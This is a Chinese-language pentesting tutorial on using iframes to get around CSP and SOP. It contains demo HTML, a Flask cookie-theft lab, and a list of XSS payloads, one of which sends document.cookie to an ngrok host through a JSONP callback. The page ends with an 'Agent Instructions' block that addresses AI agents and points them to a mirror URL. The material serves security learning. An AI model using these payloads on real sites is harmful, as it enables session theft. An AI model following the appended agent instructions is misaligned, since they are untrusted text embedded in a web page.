# Iframes in XSS, CSP and SOP

有3种方法可以指示iframed页面的内容：

* 通过`src`指示URL（URL可能是跨源或同源）
* 通过使用`data:`协议指示内容的`src`
* 通过指示内容的`srcdoc`

**访问父级和子级变量**

```html
<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
```

```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```

如果您通过http服务器（如`python3 -m http.server`）访问前面的html，您将注意到所有脚本都将被执行（因为没有CSP来阻止它）。**父级无法访问任何iframe中的`secret`变量**，**只有if2和if3（被视为同一站点）中的iframes可以访问原始窗口中的秘密**。\
请注意，if4被视为具有`null`来源。

### 带有CSP的iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>

{% hint style="info" %}
请注意，在以下绕过中，对iframe页面的响应不包含任何阻止JS执行的CSP标头。
{% endhint %}

`script-src`的`self`值不允许使用`data:`协议或`srcdoc`属性执行JS代码。\
然而，即使CSP的`none`值也允许执行将URL（完整或仅路径）放在`src`属性中的iframes。\
因此，可以通过以下方式绕过页面的CSP：

```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```

请注意，**先前的 CSP 仅允许执行内联脚本**。\
然而，**只有 `if1` 和 `if2` 脚本将被执行，但只有 `if1` 能够访问父级秘密**。

![](/files/8qhFiJtJlydS2xTcksge)

因此，**如果您可以将 JS 文件上传到服务器并通过 iframe 加载它，即使使用 `script-src 'none'`，也可以绕过 CSP**。这也可以**潜在地通过滥用同站点 JSONP 端点来实现**。

您可以使用以下场景测试此功能，在即使使用 `script-src 'none'`，也可以窃取 cookie。只需运行应用程序并在浏览器中访问它：

```python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()
```

### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>

```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```

### Iframe 沙盒

通过使用 `sandbox` 属性，可以对 iframe 中的内容施加额外的限制。默认情况下，此属性未应用，意味着没有任何限制。

当使用时，`sandbox` 属性会施加几项限制：

* 将内容视为来自唯一来源。
* 阻止任何尝试提交表单的行为。
* 禁止执行脚本。
* 禁用对某些 API 的访问。
* 防止链接与其他浏览上下文进行交互。
* 禁止使用 `<embed>`、`<object>`、`<applet>` 或类似标签来使用插件。
* 阻止内容本身导航到内容的顶级浏览上下文。
* 阻止自动触发的功能，如视频播放或表单控件的自动对焦。

该属性的值可以留空 (`sandbox=""`) 以应用所有上述限制。或者，可以将其设置为一系列特定值的以空格分隔的列表，以豁免 iframe 免受某些限制。

```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```

## SOP 中的 iframes

检查以下页面：

{% content-ref url="/pages/QpftuAUv01zBQDgnB55H" %}
[Bypassing SOP with Iframes - 1](/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}

{% content-ref url="/pages/JybHrk294foWtTfEaKGw" %}
[Bypassing SOP with Iframes - 2](/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}

{% content-ref url="/pages/sAw9FfJCozu0mA3XbGKW" %}
[Blocking main page to steal postmessage](/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}

{% content-ref url="/pages/lDi4ysf2uwUGYqyFWMHg" %}
[Steal postmessage modifying iframe location](/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
